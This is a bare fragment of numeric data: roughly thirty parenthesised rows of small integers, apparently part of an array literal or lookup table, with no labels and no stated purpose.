(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(8,9,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,9,10,10,10,10,10,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,7,10,10,9,10,9,9,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,9,7,9,7,9,7,10,7,10,10,10,8,9,9,10,10,10,10,10,10,10,10,10,9,10,9,10,10,10,10,10,9,10,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,13,13,13,14,14,14,14,13,14,14,14,14,14,14,14,13,13,14,13,14,14,13,14,14,14,14,14,13,14,12,11,14,14,13,14,13,13,12,14,13,14,14,14,14,14,14,14,14,14,13,13,13,13,13,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,13,13,13,14,14,14,14,14,14,14,14,14,13,13,14,12,13,13,13,13,13,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,13,13,13,13,13,14,13,11,14,11,13,11,14,11,13,14,13,13,14,13,14,14,14,14,13,13,13,13,14,14,14,14,13,13,14,14,14,14,14,13,13,14,13,13,13,14,14,13,14,13,14,14,14,13,14,14,14,),
(12,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,12,14,14,14,14,14,12,12,14,13,14,14,12,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,13,12,11,14,14,13,14,13,12,11,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,12,14,14,14,14,14,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,14,13,14,14,13,12,14,13,11,13,11,13,11,13,11,14,14,14,12,13,12,14,14,14,14,14,14,14,14,14,12,14,13,14,14,14,14,14,12,14,12,14,14,13,14,14,13,14,14,14,13,14,14,14,13,14,14,14,),
(13,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,11,11,14,14,14,14,14,12,12,14,13,14,13,9,13,14,14,12,14,14,14,14,14,14,14,14,13,14,14,13,12,13,14,14,14,14,14,13,12,12,11,14,14,13,14,13,12,11,13,13,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,13,14,7,7,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,14,12,13,13,13,13,13,14,13,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,13,12,14,12,14,14,12,12,14,13,11,14,11,13,11,13,11,13,14,13,13,14,11,14,14,14,14,13,13,13,13,14,13,14,14,13,14,14,13,14,13,14,13,13,14,12,14,13,13,13,14,14,12,14,14,14,13,14,14,14,),
(14,14,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,14,14,14,14,14,14,13,14,13,14,14,13,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,12,12,14,14,13,14,13,14,11,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,13,12,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,13,14,13,11,14,12,13,11,14,11,14,14,14,14,13,12,14,13,14,14,14,14,14,14,14,13,14,13,14,14,14,14,14,13,14,12,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,),
(12,13,14,14,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,8,11,14,14,14,14,14,12,11,14,13,14,13,9,13,14,14,12,14,14,14,14,14,14,14,14,13,14,14,13,11,13,14,14,14,14,14,13,12,12,11,13,14,13,14,13,11,11,12,13,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,13,14,7,7,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,12,14,12,13,13,13,13,13,13,13,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,13,12,14,12,14,14,10,11,14,13,11,13,11,13,11,12,11,13,14,13,12,13,11,14,14,14,14,13,13,13,13,14,12,14,13,13,14,14,13,14,12,14,12,13,14,11,14,13,12,13,14,14,12,14,14,14,13,14,14,13,),
(13,14,14,14,14,14,14,12,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,11,11,14,14,14,14,14,12,12,14,13,13,12,11,11,14,14,12,14,14,14,14,14,14,14,12,13,14,13,11,11,12,14,14,14,14,14,13,11,12,11,14,14,13,14,13,12,11,13,12,14,14,14,13,14,14,14,14,14,13,13,13,11,13,14,14,14,13,14,11,11,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,13,12,12,13,12,14,14,14,13,14,14,14,14,14,10,13,14,12,13,12,13,12,10,14,12,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,12,11,14,11,13,13,11,12,14,12,11,14,10,13,11,13,11,12,14,11,13,14,11,14,14,14,14,12,11,10,12,14,13,14,14,12,12,14,12,14,13,14,13,12,12,11,13,12,13,11,13,14,11,14,14,14,12,14,14,14,),
(11,11,12,13,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,12,11,14,14,14,14,14,12,12,14,13,14,14,9,14,14,14,12,14,14,14,14,12,14,14,14,14,14,14,14,13,14,14,13,14,14,14,14,13,11,11,14,14,13,14,13,12,11,11,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,9,9,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,13,13,12,14,14,14,14,14,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,13,13,13,13,13,14,14,13,12,14,13,11,12,11,12,11,13,11,14,14,14,12,12,12,14,12,14,14,14,14,14,14,14,11,14,10,14,14,14,14,14,11,14,11,14,14,13,14,14,13,14,14,14,13,14,14,12,13,14,14,14,),
(11,12,13,13,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,8,11,14,14,14,14,14,12,11,14,13,14,14,9,14,14,14,12,14,14,14,14,13,14,14,14,14,14,14,14,11,14,14,13,14,14,14,14,13,11,11,14,14,13,14,13,12,11,10,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,8,8,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,13,13,12,14,14,14,14,14,13,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,13,13,13,13,12,14,14,10,12,14,13,11,12,11,12,11,13,11,14,14,14,12,12,12,14,13,14,14,14,14,14,14,14,11,14,10,14,14,14,14,14,11,14,11,14,14,11,14,14,12,14,14,14,13,14,14,13,13,14,14,14,),
(0,0,0,1,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,0,0,2,2,2,2,2,0,0,2,1,2,2,0,2,2,2,0,2,2,2,2,0,2,2,2,2,2,2,2,0,2,2,1,2,2,2,2,1,0,0,2,2,1,2,1,0,0,0,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,1,0,2,2,2,2,2,1,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,0,2,2,0,0,2,1,0,0,0,0,0,1,0,2,2,2,0,0,0,2,0,2,2,2,2,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,2,0,2,2,0,2,2,2,1,2,2,0,1,2,2,2,),
(1,2,3,3,2,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,2,1,4,4,4,4,4,2,2,4,3,4,4,0,4,4,4,2,4,4,4,4,3,4,4,4,4,4,4,4,3,4,4,3,4,4,4,4,3,1,1,4,4,3,4,3,2,1,0,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,4,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,3,4,3,3,2,4,4,4,4,4,3,4,4,3,4,4,4,4,4,4,4,4,4,4,4,4,3,3,3,3,3,4,4,3,2,4,3,1,2,1,2,1,3,1,4,4,4,2,2,2,4,3,4,4,4,4,4,4,4,1,4,0,4,4,4,4,4,1,4,1,4,4,3,4,4,3,4,4,4,3,4,4,3,3,4,4,4,),
(0,0,0,1,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,0,0,2,2,2,2,2,0,0,2,1,2,2,0,2,2,2,0,2,2,2,2,0,2,2,2,2,2,2,2,0,2,2,1,2,2,2,2,1,0,0,2,2,1,2,1,0,0,0,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,1,0,2,2,2,2,2,1,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,0,2,2,0,0,2,1,0,0,0,0,0,1,0,2,2,2,0,0,0,2,0,2,2,2,2,2,2,2,0,2,0,2,2,2,2,2,0,2,0,2,2,0,2,2,0,2,2,2,1,2,2,0,1,2,2,2,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(10,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,11,12,12,12,12,12,12,11,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,9,12,12,11,12,11,11,10,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,11,12,12,12,12,11,12,11,10,11,9,11,9,12,10,12,12,12,10,11,11,12,12,12,12,12,12,12,12,12,11,12,11,12,12,12,12,12,11,12,11,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,12,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
